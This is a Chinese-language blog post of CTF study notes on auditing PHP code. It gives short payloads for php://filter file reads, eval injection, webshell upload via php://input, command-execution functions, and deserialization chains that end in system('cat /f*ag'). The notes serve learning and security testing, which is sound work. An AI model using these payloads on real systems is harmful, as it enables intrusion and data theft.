PHP代码审计

发布时间 2023-12-17 22:22:59作者: 楚颖i

phps,可能可查看该php文件源码

index.php.bak:index.php文件备份名


php7.1+:类型不敏感,反序列化public属性可以直接赋给private


_GET

$_GET看成一个键值对数组(关联数组)

$_GET == array(‘id’=>1,‘name’=>‘xiao’)

函数引用 & 可以修改_GET....的值,不能修改_Request的值

在url传参时,传入的值都会被当做字符串处理(/?id=0,0不是0,而是"0")

isset判断的传参问题

php<8.0时

传入的参数名中.空格都会被替换成下划线_

?a b.=1 --> 后端接收:a_b_=1;

如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来的非法字符不会继续转换成下划线_


PHP弱类型

https://www.cnblogs.com/Mrsm1th/p/6745532.html

a = QNKCDZO
md5(a) = 0e830400451993494058024219903391

b = 240610708
md5(b) = 0e462097431906509019562988736854

文件包含

include()、require()、include_once()、require_once()

include函数

:伪协议,文件上传

include()函数包含文件时会按路径./../../../../ffffllllaaaagggg来寻找文件

https://img2020.cnblogs.com/blog/2293037/202104/2293037-20210410174705799-1460846635.png


session文件包含

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域

假设open_basedir=/var/www/html/:/tmp/,那么通过访问服务器的用户就无法获取服务器上除了/var/www/html/和/tmp/这两个目录以外的文件。

用open_basedir指定的限制实际上是前缀,而不是目录名,如: "open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名


php伪协议


php://filter(过滤器)

php:?/filter/||/resource=flag.php

以||中间的形式输出文件的内容


绕过:详解php://filter以及死亡绕过_w0s1np的博客-CSDN博客

参考:php://filter的各种过滤器_php://filterpc:/users/sunxu/desktop/lfi.html-CSDN博客


string filter

(字符过滤器)

string.rot13
string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。
php://filter/string.rot13/resource=flag.php
string.toupper
string.toupper 将字符串转化为大写
php://filter/string.toupper/resource=flag.php
string.tolower
string.tolower 将字符串转化为小写
php://filter/string.tolower/resource=flag.php
string.strip_tags
string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
php://filter/string.strip_tags/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.toupper/resource=flag.php
php://filter/string.tolower/resource=flag.php
php://filter/string.strip_tags/resource=flag.php

conversion filter

(转换过滤器)

convert.base64-encode

&convert.base64-decode

php://filter/read=convert.base64-encode/resource=flag.php

:可查看被注释的php代码

/?file1=php://filter/read=convert.base64-encode/resource=flag.php

意思:用base64编码的方式来读文件flag.php(应该是先编码后给浏览器)

2:read/write

3:过滤器:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开)

4:处理的文件名

搭配函数:include()、require()、file_get_contents()、fopen()、readfile()、copy()、unlink()

如include(php://filter/read=convert.base64-encode/resource=flag.php),会将flag.php 包含进来


convert.quoted-printable-encode

&convert.quoted-printable-decode

在后面加了个=0A

php://filter/convert.quoted-printable-encode/resource=flag.php

convert.iconv.*
convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

过不去时爆破


php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

compression filter

(压缩过滤器)

zlib.deflate

(压缩)

php://filter/zlib.deflate/resource=flag.php
zlib.inflate

(解压)

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

bzip2.compress和 bzip2.decompress和前面类似


encryption Filters

(加密过滤器)略


php://input

变量=php://input
/?file=php://input POST形式提交一句话木马

file_get_contents()函数


file://

变量=file://文件路径
/?file=file://ffllaagg/flag


变量覆盖

以下方法都会覆盖原来变量,且得到的变量都是全局变量

$$

/?a='b'
$$_GET['a'] = '456'
会创建一个全局变量 $b='456'


extract

提取内容变成全局变量
$arr = array('a'=>1,'b'=>2);
extract($arr)
会设置全局变量$a=1 $b=2


parse_str

parse_str("name=pe&id=1");
设置全局变量$name=pe $id=1;


任意代码执行

eval

eval(),执行括号内的语句
例1:eval(_GET('cmd'));
/?cmd=phpinfo(),就会打印出php版本界面,一般这个cmd是一个很复杂的字符串

例2:$data=$_GET['data'];
eval("$ret = strtolower('$data');");
构造/?data=haha');phpinfo();// 后成功执行phpinfo
eval 执行字符串时,会直接执行语句,且设置全局变量
原语句:$ret = strtolower(' haha'); phpinfo(); // ')
通过 ' ) 闭合语句,//注释后面没用的东西


assert

assert(GET('cmd'));
/?cmd=phpinfo(),就会打印出php版本界面
可拆分后组成:$a="a"; $b="ss"; $c="ert";
$d=$a.$b.$c; $d(Request['cmd'])

想命令执行时前面要加上命令执行函数


preg_replace()

第一个参数:正则表达式
第二个参数:匹配成功后替换的内容,如果是//0则是替换整个第一个参数,//1表示替换( )里的通配
第三个参数:用来匹配的内容

利用条件:
第三个参数可控
正则表达式后即/ /后用e(代表会执行正则表达式替换后的内容)


create_function()

第一个参数相当于函数的传参
第二个参数相当于函数体
$return_str ='return $a +$b;';
$func = create_function( '$a, $b', $return_str);


array_map()

第一个参数为执行函数
第二个参数为数组
从数组中顺序取值丢给函数执行


array_filter()

第一个传数组,第二个为执行函数
从数组中顺序取值丢给函数执行


call_user_func()

第一个参数传函数名,第二个参数传给函数的值


更多

call_user_func_array()
call_user_func()
array_filter() 
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()


命令执行

system()

有回显:在命令行执行括号命令

\system 使用绝对路径中的system函数


passthru(),exec()

passthru()有回显,exec()回显最后一行,echo输出:执行括号命令,放到一个数组中,php用echo输出内容


shell_exec()

无回显,必须输出


l先判断执行后面,ll先判断执行前面
可构造()l恶意代码ll()(不确定)


反引号``

$a = _GET['a']; echo (`$a`); 构造/?a=dir 会直接执行命令


ob_start()

参数为字符串,是执行其他内容的函数
ob_start(“system”); echo “whoami”;ob_end_flush();
echo把内容输入进一个缓冲区等待执行(缓存区满再一次性执行),ob_end_flush()强制清空执行


popen()

打开文件
需自己手工去指向的区域输出内容
/?command = dir;
$command = $_GET['command']; $handle = popen($command,"r");//打开文件
while(!feof($handle)) echo fread($handle,1024); //读取文件,把command看成文件


proc_open()



php魔术方法

__sleep()

__sleep()返回一个数组,表示想序列化的变量
serialize()执行前先查找该对象是否有__sleep()方法,有的话先调用__sleep()


__wakeup()

unserialize()执行前先查找该对象是否有__wakeup()方法,有的话先调用__wakeup()

反序列化同一类时考虑绕过:对象数量由1改成2


__construct()

具有构造函数的类会在每次创建新对象时先调用此方法,初始化工作执行。(构造方法


__destruct ()

对象的所有引用都被删除或者当对象被显式销毁时执行。(析构方法


__toString()

当一个类的实例对象;被当成一个字符串输出时调用
class a{
__toString(){};
};
$obj = new a();
echo $obj; 会调用__toString()


更多

  1. __call()在对象中调用一个不可访问方法时,__call() 会被调用。
  2. __callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
  3. __set() 在给不可访问的属性赋值时调用
  4. __get() 读取不可访问的属性值是自动调用
  5. __isset() 当对不可访问的私有属性使用isset或empty时自动调用
  6. __unset() 当对不可访问的私有属性使用unset时;自动调用
  7. __invoke() 当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用。

反/序列化

serialize($a):序列化a,原本用于传输数据时节省空间

class stu{
public $name="ccy";
protected $group=10;
private $age;
}
O:3:"stu":3:{s:4:"name";s:3:"ccy";s:8:"*group";i:10;s:8:"stuage";N;}
O代表object类,3表示类名长度,3说明类中三个成员变量,s是string,i是int,N是null;里面的顺序是((类型、后面字段长度)变量名,值)

public的变量名长度不变,protected的变量名会在前面加上 %00*%00 ,private的变量名会在前面加上 %00stu%00,stu是类名(反序列化时记得加上)


$obj = "O:3:"stu":3:{s:4:"name";s:3:"ccy";s:8:"*group";i:10;s:8:"stuage";N;}"

unserialize(&obj) 反序列化出一个对象,(如果有__destruct(),销毁时也会像个对象一样调用)。

小写o:当反序列化的类不存在时会报错
大写O:当反序列化的类不存在时会创建新类


str_replace

反序列化的结尾符以 ;} 结尾

条件:先序列化、str_replace、反序列化

变长

{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}

{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";} ";s:3:"cmd";s:6:"whoami";}

后面构造,吃掉前面,预留后面


变短

用第一个成员变量把第二个成员变量的字符串长度吃了,之后再随意构造后面的成员变量

O:1:"u":3:{s:8:"username";s:20:"phtmlphtmlphtmlphtml";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}

O:1:"u":3:{s:8:"username";s:20:"";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}


GC(垃圾回收)

原理可参考:浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 海屿-uf9n1x - 博客园 (cnblogs.com)

payload:

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

原本是构造一个对象的反序列化,现在构造一个数组的反序列化,i有的是代表下标,原本反序列化该数组会形成 [0]-> 对象 [1]->0,修改后面的i为0:

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

GC 就会把后面那个int类型当垃圾收了,另一题payload:也可设置数组值为NULL原因看上面文章

a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /f*ag";}}}}}i:1;N;}

函数

rand()

变量引用

$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;

urldecode

原字符串使用二次编码,用弱类型0==字符串好像不行


preg_match()

正则表达式有最大长度限制


htmlspecialchars()

将特定字符转义成HTML实体
主要<>,过滤xss


htmlspecialchar_decode()

又将HTML实体转换成字符
"&lt;" --> "<" 和 "&gt;" --> ">"
可能引入xss


addslashes()

' "前添加反斜杠\,过滤sql注入


stripslashes()

删除addslashes添加的 \
可能引入sql注入


in_array()

判断值是否在数组中,如果第三个参数为true,代表要区分大小写,没有则不用


strcmp()

当字符串和数组比较时,返回0

如果传入参数为数组类型,该函数返回NULL


is_numeric()

判断是否为数字,或者数字构成的数字字符串

payload可构造数字+任意字母(或特殊字符)